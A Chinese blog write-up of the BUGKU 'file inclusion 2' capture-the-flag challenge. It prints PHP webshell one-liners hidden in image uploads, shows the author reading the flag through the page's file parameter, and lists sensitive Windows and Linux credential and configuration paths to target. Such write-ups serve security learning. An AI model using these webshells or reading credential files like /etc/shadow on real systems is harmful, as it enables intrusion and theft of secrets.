• 注册
当前位置:1313e > 默认分类 >正文

四十、BUGKU文件包含2

打开网站没有看到什么东西,F12看到网站的html,在其中很明显有着一行代码,upload.php,我们有理由怀疑是文件上传。在查看一下源代码,

view-source:http://114.67.246.176:12173/
index.php?file=hello.php

,没发现什么有意思的东西。
换一个域名访问,http://114.67.246.176:12173/index.php?file=upload.php,发现是一个文件上传的网站。
上传一句话木马的.jpg图片,内容为,用了多种方式进行了尝试,修改文件名为.php,内容类型为image/php,也不行。
那就换一种木马,内容为

<script language=php>
@eval($_POST[v]);
</script>

使用蚁剑还是连接不上,那就使用文件包含的方式进行访问,

http://114.67.246.176:12173/index.php?
file=upload/202109131252269214.jpg

没用。
在换一种

<script language=php>system("ls")</script>

还是不行,直接去访问网站根目录下有没有flag,还真有,拿到flag了。

http://114.67.246.176:12173/index.php?
file=/flag

因为网站存在文件包含漏洞,所以我们可以通过直接访问文件名,来获取文件内容。
基础知识讲解:
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着我们可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,我们只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下。
漏洞产生原因:
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
常见的敏感信息路径:
Windows系统

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml 
// IIS配置文件
c:\windows\repair\sam 
// 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD 
// MySQL root密码
c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf 
// Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf 
// 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 162202241@qq.com 举报,一经查实,本站将立刻删除。

最新评论

欢迎您发表评论:

请登录之后再进行评论

登录